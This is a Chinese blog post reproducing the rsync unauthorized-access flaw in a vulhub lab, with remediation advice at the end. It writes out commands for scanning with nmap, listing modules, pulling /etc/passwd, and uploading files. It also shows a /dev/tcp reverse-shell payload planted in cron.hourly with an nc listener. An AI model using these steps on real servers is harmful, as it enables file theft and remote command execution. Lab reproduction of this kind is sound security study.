xfeng

xfeng

Sporting | Reading | Technology | Recording
github
bilibili

rsync未授權訪問漏洞復現

1. 漏洞簡介#

rsync 是 Linux/Unix 下的一個遠程數據同步工具,可以在堕胎主機上同步文件和目錄。默認運行在 873 端口。由於配置不當,導致任何人可未授權訪問 rsync,上傳本地文件,下載服務器文件。

rsync 未授權訪問帶來的危害主要有兩個:

  • 一是造成了嚴重的信息洩露
  • 二是上傳腳本後門文件,遠程命令執行

2. rsync 配置文件#

image

參數說明
uid此參數指定與該模塊之間的文件傳輸的用戶名或用戶 ID
gid此參數指定在訪問模塊時將使用的一個或多個組名稱 / ID
use chroot若為 true,則 rsync 在傳輸文件之前首先 chroot 到 path 參數所指定的目錄下。這樣做的原因是實現額外的安全防護,但是缺點是需要 root 權限,並且不能備份指向 path 外部的符號連接所指向的目錄文件
max connections指定該模塊的最大並發連接數量以保護服務器,超過限制的連接請求將被告知隨後再試
syslog facility指定 rsync 發送日誌消息給 syslog 時的消息級別
pid filersync 的守護進程將其 PID 寫入指定的文件
log file指定 rsync 守護進程的日誌文件,而不將日誌發送給 syslog
path指定當前模塊在 rsync 服務器上的同步路徑,該參數是必須指定的
comment給模塊指定一個描述,該描述連同模塊名在客戶連接得到模塊列表時顯示給客戶
read only指定是否允許客戶上傳文件。若為 true 則不允許上傳;若為 false 並且服務器目錄也具有讀寫權限則允許上傳
auth users指定驗證用戶名,可以不設置,不設置默認不用密碼,設置的話安全性更高點
secrets file指定密碼文件,如果設定驗證用戶,這一項必須設置,設定密碼權限為 400
hosts allow設置可以允許訪問的主機,可以是網段,多個 Ip 地址用空格隔開

3. rsync 常用命令#

-a, --archive	歸檔模式,表示以遞歸方式傳輸文件,並保持所有文件屬性,等價於 -rlptgoD (注意不包括 -H)
-v, --verbose 詳細輸出模式
-r, --recursive	對子目錄以遞歸模式處理
-l, --links	保持軟鏈接文件,加上這個參數,同步過來的文件會保持之前的軟鏈接屬性不變
-H, --hard-links 保持硬鏈接文件
-p, --perms	保持文件權限
-t, --times	保持文件時間信息
-g, --group	保持文件屬組信息
-o, --owner	保持文件屬主信息 (super-user only)
-D 保持設備文件和特殊文件 (super-user only)
-e, --rsh=COMMAND 指定替代 rsh 的 shell 程序
-z, --compress 在傳輸文件時進行壓縮處理
--stats 給出某些文件的傳輸狀態
--progress 在傳輸時顯示傳輸過程
--timeout=TIME 同步過程中,IP超時時間,單位為秒
--exclude=PATTERN 指定同步時需要過濾掉的文件或子目錄(即不需要同步過去的),後面直接跟不需要同步的單個文件名或子目錄(不需要跟路徑) ,過濾多個文件或子目錄,就使用多個--exclude
--exclude-from=FILE	指定同步時需要過濾掉的文件或子目錄,後面跟文件(比如/root/exclue.txt),然後將不需要同步的文件和子目錄放到/root/exclue.txt下
--include=PATTERN 指定需要傳輸的文件匹配模式
--include-from=FILE	從 FILE 中讀取包含規則
--copy-unsafe-links	拷貝指向SRC路徑目錄樹以外的鏈接文件
--safe-links 忽略指向SRC路徑目錄樹以外的鏈接文件(默認)
--existing 僅僅更新那些已經存在於接收端的文件,而不備份那些新創建的文件
--ignore-existing 忽略那些已經存在於接收端的文件,僅備份那些新創建的文件
-b, --backup 當有變化時,對目標目錄中的舊版文件進行備份
--backup-dir=DIR 與 -b 結合使用,將備份的文件存到 DIR 目錄中
--link-dest=DIR 當文件未改變時基於 DIR 創建硬鏈接文件
--delete 刪除那些目標目錄中有而源目錄中沒有的多餘文件。這個是rsync做增量方式的全備份的最佳選擇方案!!!!!
--delete-before 接受者在輸出之前進行刪除操作。即先將目標目錄中文件全部刪除,再將源目錄文件拷貝過去。這是rsync保持目標目錄跟源目錄一致的方案!!!
--delete-after 在同步操作之後做比較,刪除那些目標目錄中有而源目錄中沒有的多餘文件
--delete-excluded 刪除目標目錄中那些被該選項指定排除的文件
--ignore-errors	即使出現 I/O 錯誤也進行刪除
--partial 保留那些因故沒有完全傳輸的文件,以是加快隨後的再次傳輸
-P	等價於 --partial --progress
--delay-updates	將正在更新的文件先保存到一個臨時目錄(默認為 “.~tmp~”),待傳輸完畢再更新目標文件
-q, --quiet 精簡輸出模式
-h, --human-readable 輸出文件大小使用易讀的單位(如,K,M等)
-n, --dry-run 顯示哪些文件將被傳輸
--list-only 僅僅列出文件而不進行複製
--rsyncpath=PROGRAM 指定遠程服務器上的 rsync 命令所在路徑
--password-file=FILE 從 FILE 中讀取口令,以避免在終端上輸入口令,通常在 cron 中連接 rsync 服務器時使用
--version 打印版本信息
--port=PORT 指定其他的rsync服務端口
--log-format=formAT 指定日誌文件格式
--password-file=FILE 從FILE中得到密碼
--bwlimit=KBPS 限制I/O帶寬,KBytes per second
--help 顯示幫助信息
-4, --ipv4 使用 IPv4
-6, --ipv6 使用 IPv6

4. 漏洞復現#

4.1 靶場搭建#

使用 vulhub 靶場來復現該漏洞

wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip 

unzip vulhub-master.zip

cd vulhub-master/rsync/common
sudo docker-compose up -d 

4.2 nmap 掃描目標系統是否開放 rsync 服務#

用 nmap 來掃描目標系統是否開放 rsync 服務和漏洞掃描

sudo nmap -p 873 192.168.110.128

sudo nmap -p 873 --script rsync-list-modules 192.168.110.128

4.3 列出目標服務器的同步目錄#

用 rsync 命令列出和查看服務器的同步目錄

rsync 192.168.110.128::

rsync rsync://192.168.110.128:873/src

rsync 192.168.110.128::src

4.4 任意文件下載#

可以下載 /etc/passwd 文件

sudo rsync -av 192.168.110.128::src/etc/passwd ./

4.5 任意文件寫入#

向服務器上傳文件

sudo touch 1.txt && sudo chmod 777 1.txt && echo "test" >> 1.txt

sudo rsync -av 1.txt rsync://192.168.110.128:873/src/1.txt

rsync rsync://192.168.110.128:873/src

4.6 利用任意文件寫入、下載功能來 getshell#

sudo rsync rsync://192.168.110.128:873/src/etc/crontab ./


sudo touch shell && sudo chmod 777 shell && echo "/bin/bash -i >& /dev/tcp/192.168.110.128/8888" >> shell

rsync -av shell rsync://192.168.110.128:873/src/etc/cron.hourly

nc -lvp 8888

5. 漏洞修復#

  • 更改 rysnc 默認配置文件 /etc/rsyncd.conf,添加或修改參數:
    • 訪問控制;設置 host allow,限制允許訪問主機的 IP。
    • 權限控制;設置 read only,將模塊設置成只讀。
    • 訪問認證;設置 auth、secrets,認證成功才能調用服務。
    • 模塊隱藏;設置 list,將模塊隱藏。

6. 參考視頻#

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。